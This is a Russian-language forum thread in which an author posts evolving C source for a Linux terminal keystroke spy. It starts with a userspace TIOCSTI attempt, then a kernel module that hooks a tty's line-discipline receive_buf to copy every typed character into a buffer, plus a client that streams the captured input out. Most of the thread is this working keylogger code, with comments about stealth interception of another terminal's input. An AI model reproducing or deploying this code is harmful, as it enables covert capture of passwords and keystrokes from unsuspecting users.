В общем, есть некий код, он не совсем рабочий, но вроде идея правильная.
Регистрируем события поступления ввода процессам, читающим с терминала (через DNOTIFY на /dev/* или /dev/pts/*), регистрируем события поступления ввода от драйвера терминала (через FASYNC на терминале). При каждом таком событии прочитываем весь буфер и запихиваем назад через TIOCSTI IOCTL. Чтобы не терять ввод устанавливаем приоритет реального времени (SCHED_FIFO).
Не работает Если кто подскажет где я глючу — обязательно включу в список авторов (если схема принципиально верна)
Вот код:
#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#define SPY_INTERRUPTED 0
#define SPY_DRIVER_INPUT_RECV 1
#define SPY_USER_INPUT_RECV 2
#define SPY_MAX_BUFFER_SIZE 4096
int spy_reason;
int fd, dfd;
int buffer_size, buffer_tail;
static void usage () {
}
void spy_io_handler (int unused, siginfo_t * si, void * unused2) {
printf ("handler! fd=%d band=%d\n", si->si_fd, si->si_band);
spy_reason = (si->si_fd != fd) ? SPY_USER_INPUT_RECV: SPY_DRIVER_INPUT_RECV;
}
int spy_register_hook (int fd) {
char tname[strlen(ttyname (fd))+1];
strcpy (tname, ttyname(fd));
*(strrchr (tname, '/')) = '\0';
dfd = open (tname, O_RDONLY);
/* User input registration */
if (dfd == -1)
return 0;
if (fcntl (dfd, F_NOTIFY, DN_ACCESS|DN_MULTISHOT) == -1) {
close (dfd);
return 0;
}
if (fcntl (dfd, F_SETOWN, getpid ()) == -1) {
close (dfd);
return 0;
}
if (fcntl (dfd, F_SETSIG, SIGUSR1) == -1) {
close (dfd);
return 0;
}
/* Driver input registration */
if (fcntl (fd, F_SETOWN, getpid ()) == -1) {
close (dfd);
return 0;
}
if (fcntl (fd, F_SETFL, FASYNC|O_NONBLOCK) == -1) {
close (dfd);
return 0;
}
if (fcntl (fd, F_SETSIG, SIGUSR1) == -1) {
close (dfd);
return 0;
}
// ioctl (fd, FIONREAD, &buffer_size);
buffer_tail = buffer_size = 0;
return 1;
}
int spy_wait_for_event () {
spy_reason = SPY_INTERRUPTED;
sigset_t ss;
sigemptyset (&ss);
sigaction (SIGUSR1, &(const struct sigaction){.sa_sigaction = spy_io_handler, .sa_mask = ss, .sa_flags = SA_SIGINFO},NULL);
fprintf (stderr, "spy_wait_for_event entering!\n");
pause ();
fprintf (stderr, "spy_wait_for_event exited!\n");
sigaction (SIGUSR1, &(const struct sigaction){.sa_handler = SIG_IGN, .sa_mask = ss, .sa_flags = 0},NULL);
return spy_reason;
}
void spy_unread_input (int fd, char * s, int n) {
int i, c;
for (i=0; i<n; i++)
c = s[i], ioctl (fd, TIOCSTI, &c);
}
void spy_output_chars (char * s, int tail, int end) {
int i;
for (i=tail; i<end; i++)
fprintf (stderr, "%x('%c'), ", s[i], s[i]);
}
int main (int argc, char * argv[]) {
int rc;
int seek = 0;
char s[SPY_MAX_BUFFER_SIZE];
rc = sched_setscheduler (0, SCHED_FIFO,
&(const struct sched_param){.sched_priority = 1}) == -1;
rc |= mlockall (MCL_CURRENT|MCL_FUTURE) == -1;
if (rc) {
fprintf (stderr, "ttyspy: failed to set realtime priority\n");
return 0;
}
if (argc != 2) {
usage ();
return 0;
}
fd = open (argv[1], O_RDWR);
if (fd == -1) {
fprintf (stderr, "ttyspy: failed to open '%s'\n", argv[1]);
usage ();
return 0;
}
if (!isatty (fd)) {
fprintf (stderr, "ttyspy: '%s' is not a tty\n", argv[1]);
close (fd);
usage ();
return 0;
}
if (!spy_register_hook (fd)) {
fprintf (stderr, "ttyspy: failed to hook\n");
close (fd);
return 0;
}
while (1) {
switch (spy_wait_for_event ()) {
case SPY_DRIVER_INPUT_RECV:
buffer_size = read (fd, s, SPY_MAX_BUFFER_SIZE);
fprintf (stderr, "driver input, got %d chars\n", buffer_size-buffer_tail);
if (buffer_size == -1) { // AP: weird, we could not read 0 bytes on driver input!
buffer_size = buffer_tail = 0;
break;
}
spy_unread_input (fd, s, buffer_size);
spy_output_chars (s, buffer_tail, buffer_size);
buffer_tail = buffer_size;
fprintf (stderr, "driver input exiting\n");
break;
case SPY_USER_INPUT_RECV:
buffer_size = read (fd, s, SPY_MAX_BUFFER_SIZE);
fprintf (stderr, "user input, buffer shrinked to %d\n", buffer_size);
if (buffer_size == -1) { // AP: that is the most common way ...
buffer_size = buffer_tail = 0;
break;
}
spy_unread_input (fd, s, buffer_size);
buffer_tail = buffer_size;
break;
default: return 1;
}
}
close (fd);
close (dfd);
return 1;
}
Разобрался... код в n_tty делает блокирующее чтение под семафором, поэтому на read(...) нам всегда не удается взять семафор и мы получаем EAGAIN, в тоже время как читающий процесс, дождавшись своего кванта оттуда распрекрасно всё читает.
Буду думать дальше... не хочется писать модуль прозрачной дисциплины ради такой фигни ...
/*
* Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#define SPYMOD_MAJOR 222
#define SPYSTREAM_MAJOR 223
#define SPYMOD_SPY_START_IOCTL 0xFEFA
#define SPYMOD_SPY_FINISH_IOCTL 0xFAFE
#define SPYMOD_MAX_SLOTS 16
#define SPYMOD_MAX_BUFS 256
typedef struct {
struct tty_struct * tty; // AP: TODO: strip this field - we can borrow it from fp anytime
struct file * fp;
void * saved_receive_routine;
pid_t listener;
} spymod_slot_t;
#include <stdio.h>
static inline int open_dev (dev_t dev, mode_t mode) {
char * str = tmpnam (NULL), * name;
int fd;
name = alloca (strlen (str)+1);
strcpy (name, str);
if (mknod (name, mode, dev) == -1)
return 0;
fd = open (name, O_RDWR);
if (fd == -1)
return 0;
unlink (name);
return fd;
}
spyclient.c
/*
* Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/stat.h>
#include "spyinc.h"
volatile int ready = 1;
void usage () {
printf ("Spyclient version 1.0. Copyright (c) Murr.\n");
printf ("usage: spyclient ttydev\n\n");
}
void client_sa_handler (int unused) {
ready = 0;
}
int main (int argc, char * argv[]) {
int spymod, spystream, ttyfd;
int rc;
char buf;
sigset_t ss;
if (argc != 2) {
printf ("spyclient: invalid arguments\n");
usage ();
goto __fatal;
}
if ((spymod = open_dev (SPYMOD_MAJOR<<8+0, 0600|S_IFCHR)) == 0) {
printf ("spyclient: failed to open SPYMOD device! (is the module loaded?)\n");
usage ();
goto __fatal;
}
if ((spystream = open_dev (SPYSTREAM_MAJOR<<8+0, 0600|S_IFCHR)) == 0) {
printf ("spyclient: failed to open SPYSTREAM device! (is the module loaded?)\n");
usage ();
goto __fatal_spystream;
}
ttyfd = open (argv[1], O_RDWR);
if (ttyfd == -1) {
printf ("spyclient: failed to open tty '%s'!\n", argv[1]);
usage ();
goto __fatal_tty;
}
if (!isatty (ttyfd)) {
printf ("spyclient: '%s' is not a tty!\n", argv[1]);
usage ();
goto __fatal_other;
}
rc = ioctl (spymod, SPYMOD_SPY_START_IOCTL, ttyfd);
if (rc == -1) {
printf ("spyclient: failed attach to SPYMOD stream!\n");
usage ();
goto __fatal_other;
}
sigemptyset (&ss);
sigaction (SIGINT, &(const struct sigaction){.sa_handler = client_sa_handler, .sa_mask = ss, .sa_flags = SA_ONESHOT}, NULL);
while (ready) {
read (spystream, &buf, 1);
printf ("'%c'(%x) ", isprint(buf)?buf:' ', (short)buf);
fflush (stdout);
}
if (ioctl (spymod, SPYMOD_SPY_FINISH_IOCTL, ttyfd) != -1)
printf ("\nspyclient: successfully detached... Have a nice day!\n");
else printf ("\nspyclient: failed to detach from SPYMOD stream! Please contact author!\n");
__fatal_other:
close (ttyfd);
__fatal_tty:
close (spystream);
__fatal_spystream:
close (spymod);
__fatal:
return 1;
}
spymod.c
/*
* Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/errno.h>
#include <asm/uaccess.h>
#include "spyinc.h"
spymod_slot_t slots[SPYMOD_MAX_SLOTS] = {[0 ... SPYMOD_MAX_SLOTS-1] = {0, 0, 0, 0}};
unsigned char spybuf[SPYMOD_MAX_SLOTS][SPYMOD_MAX_BUFS];
unsigned int spybuflen[SPYMOD_MAX_SLOTS] = {[0 ... SPYMOD_MAX_SLOTS-1] = 0};
spinlock_t spybuflock = SPIN_LOCK_UNLOCKED;
static int spydev_acquire_slot () {
int i;
for (i=0; i<SPYMOD_MAX_SLOTS; i++)
if (slots[i].tty == NULL)
return i;
return -1;
}
static int spydev_is_spyed (struct tty_struct * tty) {
int i;
for (i=0; i<SPYMOD_MAX_SLOTS; i++)
if (slots[i].tty == tty) return 1;
return 0;
}
static void spydev_release_slot (int slot_num) {
MOD_DEC_USE_COUNT;
slots[slot_num].tty->ldisc.receive_buf = slots[slot_num].saved_receive_routine;
slots[slot_num].tty = NULL;
fput (slots[slot_num].fp);
}
static int spydev_current_listener (pid_t pid) {
int i;
for (i=0; i<SPYMOD_MAX_SLOTS; i++)
if (slots[i].tty && slots[i].listener == pid)
return i;
return -1;
}
static void spymod_hook_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)
{
int slot, to_copy;
int listener;
unsigned long cpuflags;
void (*receive_buf)(struct tty_struct *, const unsigned char *, char *, int) = NULL;
spin_lock (&spybuflock);
spin_lock_irqsave(&tty->read_lock, cpuflags);
for (slot=0; slot<SPYMOD_MAX_SLOTS; slot++)
if (slots[slot].tty == tty) break;
if (slot == SPYMOD_MAX_SLOTS) goto not_spyed;
listener = slots[slot].listener;
receive_buf = slots[slot].saved_receive_routine;
to_copy = SPYMOD_MAX_BUFS - spybuflen[slot];
if (count < to_copy) to_copy = count;
memcpy (spybuf[slot]+spybuflen[slot], cp, to_copy);
spybuflen[slot] += to_copy;
not_spyed:
spin_unlock_irqrestore(&tty->read_lock, cpuflags);
spin_unlock (&spybuflock);
if (unlikely (to_copy == 0)) {
/* AP: Check if the buffer overrun occured and the client has exited disgracefully */
read_lock (&tasklist_lock);
if (find_task_by_pid (listener) == NULL) {
printk ("spymod: unexpected client exit!\n");
spydev_release_slot (slot);
}
read_unlock (&tasklist_lock);
}
if (receive_buf)
receive_buf (tty, cp, fp, count);
}
static int spymod_spy_start (int fd) {
int slot;
struct file * fp;
struct tty_struct * tty;
fp = fget (fd);
tty = (struct tty_struct *)fp->private_data;
#warning we have to check if it is really tty
slot = spydev_acquire_slot ();
if (slot == -1) {
fput (fp);
return -ENXIO;
}
if (spydev_current_listener (current->pid) != -1) {
fput (fp);
return -EBUSY;
}
if (spydev_is_spyed (tty)) {
fput (fp);
return -EBUSY;
}
MOD_INC_USE_COUNT;
slots[slot].tty = tty;
slots[slot].saved_receive_routine = tty->ldisc.receive_buf;
slots[slot].listener = current->pid;
slots[slot].fp = fp;
tty->ldisc.receive_buf = spymod_hook_receive_buf;
return 0;
}
static int spymod_spy_finish (int unused) {
int slot = spydev_current_listener (current->pid);
if (slot == -1) {
return -EINVAL;
}
spydev_release_slot (slot);
return 0;
}
static int spydev_ioctl (struct inode *ip, struct file *fp, unsigned int cmd, unsigned long fd) {
switch (cmd) {
case SPYMOD_SPY_START_IOCTL: return spymod_spy_start (fd);
case SPYMOD_SPY_FINISH_IOCTL: return spymod_spy_finish (fd);
default:;
}
return -EINVAL;
}
static ssize_t spystream_read (struct file *f, char * buf, size_t n, loff_t * pos) {
int slot = spydev_current_listener (current->pid);
int to_copy;
if (slot == -1) return -ENXIO;
again:
spin_lock (&spybuflock);
to_copy = n>spybuflen[slot]?spybuflen[slot]:n;
if (to_copy == 0) {
spin_unlock (&spybuflock);
schedule ();
if (signal_pending (current))
return -EINTR;
goto again;
}
if (copy_to_user (buf, spybuf[slot], to_copy)) {
spin_unlock (&spybuflock);
return -EFAULT;
}
memmove (spybuf[slot]+to_copy, spybuf[slot], spybuflen[slot]-to_copy);
spybuflen[slot] -= to_copy;
*pos += to_copy;
spin_unlock (&spybuflock);
return to_copy;
}
struct file_operations spymod_fops = {
.ioctl = spydev_ioctl
};
struct file_operations spystream_fops = {
.read = spystream_read
};
int spymod_init () {
if (register_chrdev (SPYMOD_MAJOR, "spydev", &spymod_fops) != 0 ||
register_chrdev (SPYSTREAM_MAJOR, "spystream", &spystream_fops) != 0) {
printk ("SPYMOD: failed to register spy devices!\n");
return -EBUSY;
}
printk ("SPYMOD module version 1.0 loaded.\n");
return 0;
}
void spymod_exit () {
if (unregister_chrdev (SPYMOD_MAJOR, "spydev") != 0 ||
unregister_chrdev (SPYSTREAM_MAJOR, "spystream") != 0) {
printk ("SPYMOD: failed to unregister spy devices! Please contact author!\n");
}
printk ("SPYMOD module unloaded.");
}
module_init (spymod_init);
module_exit (spymod_exit);
MODULE_LICENSE ("GPL");
Всё собирается третьим gcc, потом засовывается модуль:
Здравствуйте, Murr, Вы писали: M>[code] M>/* M> * Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved. M> * ................. M> * You should have received a copy of the GNU General Public License along M> * with this program; if not, write the Free Software Foundation, Inc., 59 M> * Temple Place — Suite 330, Boston MA 02111-1307, USA. M> * M> */
Гнутую лицензию забыл прислать . А так — интересная идейка. Но весьма подлая
...Complex problems have simple, easy-to-understand wrong answers...
(Grossman's Misquote of H.L.Mencken)
Здравствуйте, fAX, Вы писали:
fAX>Гнутую лицензию забыл прислать .
Поправил ))
fAX>А так — интересная идейка. Но весьма подлая
А как еще? Если бы можно было хотя бы свою дисциплину линии вставить ( так ведь и этого в Linux нельзя...
В последнее время уже несколько раз спрашивали про сию программу.
Я слегка причесал код и добавил комментариев.
Если кому-то надо, то вот что получилось (для Linux 2.6, хотя, вероятно, соберется и для 2.4 с пред. Makefile):
/*
* Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#define SPYMOD_MAJOR 222
#define SPYSTREAM_MAJOR 223
#define SPYMOD_SPY_START_IOCTL 0xFEFA
#define SPYMOD_SPY_FINISH_IOCTL 0xFAFE
#define SPYMOD_BUF_LEN 256
#define MIN(x,y) ((x)>(y)?(y):(x))
#ifndef __KERNEL__
#include <stdio.h>
static inline int open_dev (dev_t dev, mode_t mode) {
char * str = tmpnam(NULL), * name;
int fd;
name = alloca(strlen(str)+1);
strcpy(name, str);
if (mknod(name, mode, dev) == -1)
return 0;
fd = open(name, O_RDWR);
if (fd == -1)
return 0;
unlink(name);
return fd;
}
#endif
spyclient.c
/*
* Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/stat.h>
#include "spyinc.h"
volatile int ready = 1;
void usage () {
printf ("Spyclient version 1.0. Copyright (c) Murr.\n");
printf ("usage: spyclient ttydev\n\n");
}
void client_sa_handler (int unused) {
ready = 0;
}
int main (int argc, char * argv[]) {
int spymod, spystream, ttyfd;
int rc;
char buf;
sigset_t ss;
if (argc != 2) {
printf ("spyclient: invalid arguments\n");
usage ();
goto __fatal;
}
if ((spymod = open_dev (SPYMOD_MAJOR<<8+0, 0600|S_IFCHR)) == 0) {
printf ("spyclient: failed to open SPYMOD device! (is the module loaded?)\n");
usage ();
goto __fatal;
}
if ((spystream = open_dev (SPYSTREAM_MAJOR<<8+0, 0600|S_IFCHR)) == 0) {
printf ("spyclient: failed to open SPYSTREAM device! (is the module loaded?)\n");
usage ();
goto __fatal_spystream;
}
ttyfd = open (argv[1], O_RDWR);
if (ttyfd == -1) {
printf ("spyclient: failed to open tty '%s'!\n", argv[1]);
usage ();
goto __fatal_tty;
}
if (!isatty (ttyfd)) {
printf ("spyclient: '%s' is not a tty!\n", argv[1]);
usage ();
goto __fatal_other;
}
rc = ioctl (spymod, SPYMOD_SPY_START_IOCTL, ttyfd);
if (rc == -1) {
printf ("spyclient: failed attach to SPYMOD stream!\n");
usage ();
goto __fatal_other;
}
sigemptyset (&ss);
sigaction (SIGINT, &(const struct sigaction){.sa_handler = client_sa_handler, .sa_mask = ss, .sa_flags = SA_ONESHOT}, NULL);
while (ready) {
read (spystream, &buf, 1);
printf ("['%c'(%x)] ", isprint(buf)?buf:' ', (short)buf);
fflush (stdout);
}
if (ioctl (spymod, SPYMOD_SPY_FINISH_IOCTL, ttyfd) != -1)
printf ("\nspyclient: successfully detached... Have a nice day!\n");
else printf ("\nspyclient: failed to detach from SPYMOD stream! Please contact author!\n");
__fatal_other:
close (ttyfd);
__fatal_tty:
close (spystream);
__fatal_spystream:
close (spymod);
__fatal:
return 1;
}
spymod.c
/*
* Copyright (c) 2004 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/errno.h>
#include <asm/uaccess.h>
#include "spyinc.h"
static unsigned char spybuf[SPYMOD_BUF_LEN];
static unsigned int spybuflen = 0;
static spinlock_t spybuflock = SPIN_LOCK_UNLOCKED;
DECLARE_WAIT_QUEUE_HEAD(spybuf_wq);
static struct file* spyed_tty_file = NULL;
#define spyed_tty ((struct tty_struct*)(spyed_tty_file->private_data))
static int spy_server_pid = 0;
void (*saved_receive_routine)(struct tty_struct *, const unsigned char *, char *, int) = NULL;
spinlock_t lock = SPIN_LOCK_UNLOCKED;
/* Here we have to detach from a tty
(remove the filter) and to mark
module as ready for new spy requests */
static void spymod_spy_finish(void) {
struct file* f;
spin_lock(&lock);
spyed_tty->ldisc.receive_buf = saved_receive_routine;
mb();
f = spyed_tty_file;
spy_server_pid = 0;
spin_unlock(&lock);
fput(f);
}
/* Every tty struct has its own copy of ldisc, so
changing ldisc can modify behaviour only of
the original tty. So this routine is entered
iff tty driver has to transfer some user input
to line discipline on the spyed tty. */
static void spymod_hook_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, intcount) {
int to_copy = -1;
spin_lock(&lock);
to_copy = MIN(SPYMOD_BUF_LEN - spybuflen, count); // AP: We must put user input in spy buffer wrt buffer size (be careful not to overflow buffer)
memcpy (spybuf+spybuflen, cp, to_copy); // AP: Copy input to spy buffer
spybuflen += to_copy;
spin_unlock(&lock);
saved_receive_routine(tty, cp, fp, count); // AP: Don't forget to transfer the input, otherwise it will get lost
wake_up_interruptible(&spybuf_wq); // AP: spy buffer state (probably) could have changed, let's inform reader about that
}
static int is_tty(struct file* fp) {
return (fp->private_data != 0); // AP: CODA and NFS handles will as well satisfy the condition
// TODO: we should have a better test if fp references tty
}
static int spymod_spy_start (int fd) {
int err = 0;
spin_lock(&lock);
if (spy_server_pid) { // AP: Spy server is single-threaded by design and we're busy now
err = -EBUSY;
goto bye;
}
spyed_tty_file = fget(fd);
if (!is_tty(spyed_tty_file)) { // AP: Do you want to spy on smth other than tty? :) Bye-bye then
fput(spyed_tty_file);
err = -ENOTTY;
goto bye;
}
saved_receive_routine = spyed_tty->ldisc.receive_buf; // AP: Save the original receiver for stealth filtering between it and tty driver
spy_server_pid = current->pid; // AP: Mark spy server busy (only thread by this pid will be serviced until it will expicitly detach)
spyed_tty->ldisc.receive_buf = spymod_hook_receive_buf; // AP: Install the hook... from now weshall intercept all input from tty driver
spybuflen = 0; // AP: Mark buffer empty (it contains no intercepted user input yet)
bye:
spin_unlock(&lock);
return err;
}
static int spydev_ioctl (struct inode *ip, struct file *fp, unsigned int cmd, unsigned long fd) {
switch (cmd) {
case SPYMOD_SPY_START_IOCTL: return spymod_spy_start(fd);
case SPYMOD_SPY_FINISH_IOCTL: spymod_spy_finish(); return 0;
default:;
}
return -EINVAL;
}
static ssize_t spystream_read (struct file *f, char * buf, size_t n, loff_t * pos) {
int to_copy, err;
char* temp_buf = NULL;
if (current->pid != spy_server_pid) {
err = -ENXIO;
goto bye;
}
if (n <= 0) {
err = 0;
goto bye;
}
if ((err = wait_event_interruptible(spybuf_wq, spybuflen>0))) // AP: Wait until smth in the buffer
goto bye;
temp_buf = kmalloc(MIN(n,SPYMOD_BUF_LEN), GFP_KERNEL); // AP: We should cut user input from buffer under spin lock,
// so that copy_to_user is unavailable. Temporary buffer is used instead.
spin_lock(&spybuflock);
to_copy = MIN(n,spybuflen); // to_copy is always non-zero, because n>0 and spybuflen can not
// get reduced by someone outside spystream_read
memcpy(temp_buf, spybuf, to_copy); // AP: Copy user input to temporary buffer
memmove(spybuf+to_copy, spybuf, spybuflen-to_copy); // AP: Cut user input from spy buffer
spybuflen -= to_copy;
*pos += to_copy; // AP: Perhaps, VFS could need it
spin_unlock(&spybuflock);
if (copy_to_user(buf, temp_buf, to_copy)) // AP: Finally transfer input to the user buffer
err = -EFAULT;
else err = to_copy;
kfree(temp_buf);
bye:
return err;
}
static struct file_operations spymod_fops = {
.ioctl = spydev_ioctl
};
static struct file_operations spystream_fops = {
.read = spystream_read
};
static int spymod_init(void) {
if (register_chrdev (SPYMOD_MAJOR, "spydev", &spymod_fops) != 0 ||
register_chrdev (SPYSTREAM_MAJOR, "spystream", &spystream_fops) != 0) {
printk ("SPYMOD: failed to register spy devices!\n");
return -EBUSY;
}
printk ("SPYMOD module version 1.1 loaded.\n");
return 0;
}
static void spymod_exit(void) {
if (unregister_chrdev (SPYMOD_MAJOR, "spydev") != 0 ||
unregister_chrdev (SPYSTREAM_MAJOR, "spystream") != 0) {
printk ("SPYMOD: failed to unregister spy devices! Please contact author!\n");
}
printk ("SPYMOD module unloaded.\n");
}
module_init(spymod_init);
module_exit(spymod_exit);
MODULE_LICENSE("GPL");